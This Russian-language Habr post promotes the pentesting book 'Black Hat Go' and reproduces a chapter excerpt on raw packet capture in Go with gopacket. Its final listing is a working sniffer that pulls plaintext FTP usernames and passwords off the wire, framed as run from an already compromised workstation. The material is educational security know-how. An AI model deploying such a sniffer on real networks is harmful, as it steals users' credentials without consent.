Привет, Хаброжители!
Black Hat Go исследует темные стороны Go — популярного языка программирования, который высоко ценится хакерами за его простоту, эффективность и надежность. Эта книга — арсенал практических приемов для специалистов по безопасности и хакеров — поможет вам в тестировании систем, создании и автоматизации инструментов, а также улучшении навыков противодействия угрозам. Все это реализуется с помощью обширных возможностей Go.
Вы начнете с базового обзора синтаксиса языка и стоящей за ним философии, после чего перейдете к изучению примеров, которые пригодятся для разработки инструментов. Вас ждет знакомство с протоколами HTTP, DNS и SMB, Далее вы перейдете к изучению различных тактик и задач, с которыми сталкиваются пентестеры, рассмотрите такие темы, как кража данных, сниффинг сетевых пакетов и разработка эксплойтов. Вы научитесь создавать динамические встраиваемые инструменты, после чего перейдете к изучению криптографии, атаке на Windows и стеганографии.
Готовы расширить арсенал инструментов безопасности? Тогда вперед!
Чтобы получить максимальную пользу от прочтения книги, рекомендуем скопировать официальный репозиторий с кодом: так у вас под рукой будут все рабочие примеры, о которых мы расскажем. Вы найдете примеры в репозитории https://github.com/blackhat-go/bhg/.
Обработка сырых пакетов
В этой главе вы научитесь перехватывать и обрабатывать сетевые пакеты. Эту технику можно использовать для многих задач, включая перехват аутентификационных данных в виде открытого текста, изменение содержащейся в пакетах функциональности приложения, а также спуфинга и отравления трафика. Помимо этого, можно применять ее для SYN-сканирования и сканирования портов через защиту от SYN-флуда.
Мы представим вам прекрасную библиотеку gopacket от Google, которая позволит как декодировать пакеты, так и собирать поток трафика обратно. Эта библиотека дает возможность фильтровать трафик с помощью модуля отбора пакетов Berkeley Packet Filter (BPF), иначе называемого синтаксисом tcpdump, читать и записывать файлы .pcap, а также просматривать различные сетевые уровни и данные, управлять пакетами.
Мы приведем несколько примеров, чтобы показать, как идентифицировать устройства, фильтровать результаты и создавать сканер портов, способный обходить защиту от SYN-флуда.
Настройка среды
Для начала установите gopacket:
$ go get github.com/google/gopacket
Итак, gopacket опирается на внешние библиотеки и драйверы для обхода стека протоколов операционной системы. Если вам потребуется компилировать примеры главы для использования под Linux или macOS, нужно будет установить libpcap-dev. Это можно сделать с помощью большинства утилит управления пакетами, например apt, yum или brew. Вот пример ее установки с помощью apt (для двух других процесс аналогичен):
$ sudo apt-get install libpcap-dev
Если вы хотите компилировать и запускать примеры под Windows, то в зависимости от необходимости выполнять кросс-компиляцию выберите один из двух вариантов. Проще будет настроить среду разработки, если не делать кросс-компиляцию, но в этом случае придется создать среду Go на машине с Windows, что может показаться неудобным, если вы не хотите громоздить еще одну среду. Пока мы предположим, что у вас есть рабочая среда, которую можно использовать для компиляции исполняемых файлов Windows. В этой среде нужно установить WinPcap. Установщик можете скачать бесплатно с сайта https://www.winpcap.org/.
Идентификация устройств с помощью субпакета pcap
Прежде чем перехватывать сетевой трафик, нужно идентифицировать устройства, на которых можно производить прослушивание. Это легко сделать с помощью субпакета gopacket/pcap, который получает их посредством вспомогательной функции pcap.Find AllDevs() (ifs []Interface, err error). В листинге 8.1 показано, как использовать его для перечисления всех доступных интерфейсов. (Все листинги кода находятся в корне /exist репозитория https://github.com/blackhat-go/bhg/.)
Листинг 8.1. Перечисление доступных сетевых устройств (/ch-8/identify/main.go)
package main import ( "fmt" "log" "github.com/google/gopacket/pcap" ) func main() { ❶ devices, err := pcap.FindAllDevs() if err != nil { log.Panicln(err) } ❷ for _, device := range devices { fmt.Println(device.Name❸) ❹ for _, address := range device.Addresses { ❺ fmt.Printf(" IP: %s\n", address.IP) fmt.Printf(" Netmask: %s\n", address.Netmask) } } }
Перечисление устройств реализуется вызовом pcap.FindAllDevs() ❶, после чего выполняется их перебор ❷. В каждом устройстве мы обращаемся к различным свойствам, включая device.Name ❸. Мы также обращаемся к их IP-адресам через свойство Addresses, являющееся срезом типа pcap.InterfaceAddress. Далее происходит перебор этих адресов ❹, в процессе которого на экран выводятся как сами адреса, так и маски подсети ❺.
При выполнении этой утилиты мы получим вывод, аналогичный показанному в листинге 8.2.
Листинг 8.2. Вывод, отражающий доступные сетевые интерфейсы
$ go run main.go enp0s5 IP: 10.0.1.20 Netmask: ffffff00 IP: fe80::553a:14e7:92d2:114b Netmask: ffffffffffffffff0000000000000000 any lo IP: 127.0.0.1 Netmask: ff000000 IP: ::1 Netmask: ffffffffffffffffffffffffffffffff
В этом выводе перечислены доступные сетевые интерфейсы — enp0s5, any и lo, а также их адреса IPv4/IPv6 и маски подсети. Вывод вашей системы наверняка будет отличаться деталями, но в целом окажется аналогичен, так что разобраться в информации будет несложно.
Онлайн-перехват и фильтрация результатов
Теперь, когда вы знаете, как запрашивать доступные устройства, можете использовать возможности gopacket для перехвата пакетов в ходе их передачи. В процессе этого вы также будете фильтровать набор пакетов с помощью синтаксиса BPF. BPF позволяет задавать пределы содержимого перехватываемых и отображаемых данных, в результате чего вы видите только релевантный трафик. Обычно таким образом фильтруются протоколы и порты. Например, можно создать фильтр, чтобы видеть весь TCP-трафик, направляющийся к порту 80. Фильтрацию можно делать также по целевому хосту. Всестороннее рассмотрение синтаксиса BPF выходит за рамки темы книги, поэтому рекомендуем дополнительно ознакомиться с ресурсом http://www.tcpdump.org/manpages/pcap-filter.7.html.
В листинге 8.3 приведен код, фильтрующий трафик для перехвата только TCP-пакетов, отправляемых к порту 80 и от него.
Листинг 8.3. Использование фильтра BPF для перехвата конкретного трафика
(/ch-8/filter/main.go) package main import ( "fmt" "log" "github.com/google/gopacket" "github.com/google/gopacket/pcap" ) ❶ var ( Iface = "enp0s5" snaplen = int32(1600) promisc = false timeout = pcap.BlockForever filter = "tcp and port 80" devFound = false ) func main() { devices, err := pcap.FindAllDevs()❷ if err != nil { log.Panicln(err) } ❸ for _, device := range devices { if device.Name == iface { devFound = true } } if !devFound { log.Panicf("Device named '%s' does not exist\n", iface) } ❹ handle, err := pcap.OpenLive(iface, snaplen, promisc, timeout) if err != nil { log.Panicln(err) } defer handle.Close() ❺ if err := handle.SetBPFFilter(filter); err != nil { log.Panicln(err) } ❻ source := gopacket.NewPacketSource(handle, handle.LinkType()) for packet := range source.Packets()❼ { fmt.Println(packet) } }
Код начинается с определения нескольких переменных, необходимых для настройки перехвата пакетов ❶. Среди них присутствует имя интерфейса (iface), в котором нужно перехватывать данные, длина снимка (количество данных, перехватываемых в каждом фрейме данных (snaplen)), переменная promisc (определяет, активен ли режим приема всех пакетов), а также тайм-аут. Кроме того, здесь мы определяем фильтр BPF — tcp and port 80. Это гарантирует перехват только соответствующих данным критериям пакетов.
В функции main() происходит перечисление всех доступных устройств ❷, а также их перебор для определения наличия нужного интерфейса перехвата ❸. Если имя интерфейса не существует, возникает паника, указывающая на его недействительность.
В оставшейся части функции main() прописана логика перехвата. С высокоуровневой перспективы нужно сначала получить или создать *pcap.Handle, что позволит считывать и внедрять пакеты. Используя эту обработку, затем можно применить фильтр BPF и создать новый источник пакетных данных, из которого удастся считывать пакеты.
Мы создаем *pcap.Handle (в коде именуемый handle) путем вызова pcap.OpenLive() ❹. Эта функция получает имя интерфейса, длину снимка, логический параметр promisc, а также значение тайм-аута. Все эти входные переменные задаются до функции main(). Вызов handle.SetBPFFilter(filter) настраивает фильтр BPF для обработки ❺, после чего handle используется в качестве ввода при вызове gopacket.NewPacketSource(handle, handle.LinkType()) для создания нового источника пакетных данных ❻. Второе вводное значение, handle.LinkType(), определяет используемый при обработке пакетов декодер. В завершение происходит фактическое считывание пакетов в процессе их передачи путем применения в source.Packets() цикла ❼, возвращающего канал.
Из приведенных ранее примеров вы можете вспомнить, что в процессе перебора передаваемых по каналу данных цикл блокируется, когда данных в этом канале не остается. При поступлении пакета мы считываем его и выводим содержимое на экран.
Вывод должен быть аналогичен приведенному в листинге 8.4. Обратите внимание на то, что программе требуются повышенные привилегии, поскольку мы считываем необработанное содержимое сети.
Листинг 8.4. Вывод перехваченных пакетов в stdout
$ go build -o filter && sudo ./filter PACKET: 74 bytes, wire length 74 cap length 74 @ 2020-04-26 08:44:43.074187 -0500 CDT - Layer 1 (14 bytes) = Ethernet {Contents=[..14..] Payload=[..60..] SrcMAC=00:1c:42:cf:57:11 DstMAC=90:72:40:04:33:c1 EthernetType=IPv4 Length=0} - Layer 2 (20 bytes) = IPv4 {Contents=[..20..] Payload=[..40..] Version=4 IHL=5 TOS=0 Length=60 Id=998 Flags=DF FragOffset=0 TTL=64 Protocol=TCP Checksum=55712 SrcIP=10.0.1.20 DstIP=54.164.27.126 Options=[] Padding=[]} - Layer 3 (40 bytes) = TCP {Contents=[..40..] Payload=[] SrcPort=51064 DstPort=80(http) Seq=3543761149 Ack=0 DataOffset=10 FIN=false SYN=true RST=false PSH=false ACK=false URG=false ECE=false CWR=false NS=false Window=29200 Checksum=23908 Urgent=0 Options=[..5..] Padding=[]} PACKET: 74 bytes, wire length 74 cap length 74 @ 2020-04-26 08:44:43.086706 -0500 CDT - Layer 1 (14 bytes) = Ethernet {Contents=[..14..] Payload=[..60..] SrcMAC=00:1c:42:cf:57:11 DstMAC=90:72:40:04:33:c1 EthernetType=IPv4 Length=0} - Layer 2 (20 bytes) = IPv4 {Contents=[..20..] Payload=[..40..] Version=4 IHL=5 TOS=0 Length=60 Id=23414 Flags=DF FragOffset=0 TTL=64 Protocol=TCP Checksum=16919 SrcIP=10.0.1.20 DstIP=204.79.197.203 Options=[] Padding=[]} - Layer 3 (40 bytes) = TCP {Contents=[..40..] Payload=[] SrcPort=37314 DstPort=80(http) Seq=2821118056 Ack=0 DataOffset=10 FIN=false SYN=true RST=false PSH=false ACK=false URG=false ECE=false CWR=false NS=false Window=29200 Checksum=40285 Urgent=0 Options=[..5..] Padding=[]}
Несмотря на то что сырой вывод не особо понятен, он содержит разделение по уровням. Теперь можно использовать вспомогательные функции, такие как packet.ApplicationLayer() и packet.Data(), чтобы извлечь необработанные байты одного уровня или всего пакета. Если совместить этот вывод с hex.Dump(), то можно отобразить содержимое в гораздо более читабельной форме. Поэкспериментируйте с этим самостоятельно.
Сниффинг и отображение учетных данных пользователя в открытом виде
Возьмем только что созданный код за основу и продолжим. Мы скопируем некоторую функциональность других инструментов для сниффинга и отображения пользовательских учетных данных в виде открытого текста.
Большинство современных организаций работают, применяя коммутируемые сети, которые вместо транслирования передают данные непосредственно между двумя конечными точками, усложняя пассивный перехват трафика в корпоративной среде. Тем не менее описываемая далее атака по сниффингу открытых данных будет эффективна при совмещении с отправлением протокола разрешения адресов (Address Resolution Protocol, ARP), принуждающим конечные точки взаимодействовать с вредоносным устройством в коммутируемой сети, а также при тайном прослушивании трафика, исходящего из взломанной рабочей станции пользователя. В этом примере мы предположим, что вы уже скомпрометировали рабочую станцию, и сосредоточимся только на перехвате трафика, задействующего FTP. Это позволит не раздувать код.
За исключением нескольких небольших изменений код в листинге 8.5 повторяет содержимое листинга 8.3.
Листинг 8.5. Перехват данных FTP-аутентификации (/ch-8/ftp/main.go)
package main import ( "bytes" "fmt" "log" "github.com/google/gopacket" "github.com/google/gopacket/pcap" ) var ( iface = "enp0s5" snaplen = int32(1600) promisc = false timeout = pcap.BlockForever ❶ filter = "tcp and dst port 21" devFound = false ) func main() { devices, err := pcap.FindAllDevs() if err != nil { log.Panicln(err) } for _, device := range devices { if device.Name == iface { devFound = true } } if !devFound { log.Panicf("Device named '%s' does not exist\n", iface) } handle, err := pcap.OpenLive(iface, snaplen, promisc, timeout) if err != nil { log.Panicln(err) } defer handle.Close() if err := handle.SetBPFFilter(filter); err != nil { log.Panicln(err) } source := gopacket.NewPacketSource(handle, handle.LinkType()) for packet := range source.Packets() { ❷ appLayer := packet.ApplicationLayer() if appLayer == nil { continue } ❸ payload := appLayer.Payload() ❹ if bytes.Contains(payload, []byte("USER")) { fmt.Print(string(payload)) } else if bytes.Contains(payload, []byte("PASS")) { fmt.Print(string(payload)) } } }
Внесенные изменения составляют всего около 10 строк кода. Во-первых, мы изменили фильтр BPF для перехвата только трафика, направляющегося через порт 21 (порт, обычно используемый для FTP-трафика) ❶. Оставшаяся часть кода неизменна до завершения обработки пакетов.
Для обработки пакета из него сначала извлекается прикладной уровень и проверяется его фактическое наличие ❷, потому что именно прикладной уровень содержит FTP-команды и данные. Для его поиска мы определяем, является ли nil ответным значением packet.ApplicationLayer(). При условии наличия этого слоя в пакете производится извлечение полезной нагрузки (FTP-команд/данных) с помощью вызова appLayer.Payload() ❸.
Существуют схожие методы извлечения и анализа и других уровней и данных, но нам нужна только полезная нагрузка прикладного уровня. После извлечения полезная нагрузка проверяется на наличие команд USER или PASS ❹, указывающих, что она является частью последовательности авторизации. Если таковые обнаружены, полезная нагрузка выводится на экран.
Вот образец выполнения программы, перехватывающий попытку FTP-авторизации:
$ go build -o ftp && sudo ./ftp USER someuser PASS passw0rd
Естественно, этот код можно улучшить. В данном примере полезная нагрузка будет отображаться, если в любом ее месте встречаются слова USER или PASS. В действительности этот код должен просматривать только начало полезной нагрузки для устранения ложноположительных результатов, которые возникают, когда эти ключевые слова являются частью содержимого файла, передаваемого между клиентом и сервером, или частью более длинного слова, например PASSAGE или ABUSER. Мы рекомендуем вам внести эти доработки в код самостоятельно.
Крис Паттен (Chris Patten) — сооснователь и ведущий специалист STACKTITAN — компании, занимающейся консультированием по безопасности специализированных служб защиты. Крис уже более 25 лет работает в этой сфере и за это время занимал множество различных должностей. Последние десять лет он консультировал ряд коммерческих и государственных организаций по многим направлениям, включая техники противодействия кибератакам, возможности выявления угроз и стратегии минимизации ущерба. На своей последней должности Крис выступал в роли лидера одной из крупнейших команд по противодействию атакам в Северной Америке.
Прежде чем стать консультантом, Крис служил в военно-воздушных силах США, оказывая технологическую поддержку в процессе боевых операций. Он был активным участником сообщества специальных операций Министерства обороны США в USSOCOM, консультировал группы по спецоперациям относительно чувствительных инициатив в области кибервойны. По завершении службы в армии Крис занимал ведущие должности во многих телекоммуникационных компаниях из списка Fortune 500, работая с партнерами в исследовательской сфере.
Дэн Коттманн (Dan Kottmann) — сооснователь и ведущий консультант STACKTITAN. Сыграл важную роль в росте и развитии крупнейшей североамериканской компании по противодействию киберугрозам, непосредственно участвуя в формировании навыков персонала, повышении эффективности процессов, улучшении пользовательского опыта и качества реализации услуг. На протяжении 15 лет Дэн занимался межотраслевым клиентоориентированным консультированием и развитием этой сферы, в первую очередь фокусируясь на информационной безопасности и поставке приложений.
Дэн выступал на разных национальных и региональных конференциях по безопасности, включая Defcon, BlackHat Arsenal, DerbyCon, BSides и др. Увлекается разработкой ПО и создал многие как открытые, так и проприетарные приложения, начиная с инструментов командной строки и заканчивая сложными трехуровневыми и облачными веб-приложениями.
Более подробно с книгой можно ознакомиться на сайте издательства:
» Оглавление
» Отрывок
По факту оплаты бумажной версии книги на e-mail высылается электронная книга.
Для Хаброжителей скидка 25% по купону — Black Hat Go
ссылка на оригинал статьи https://habr.com/ru/company/piter/blog/690918/
Добавить комментарий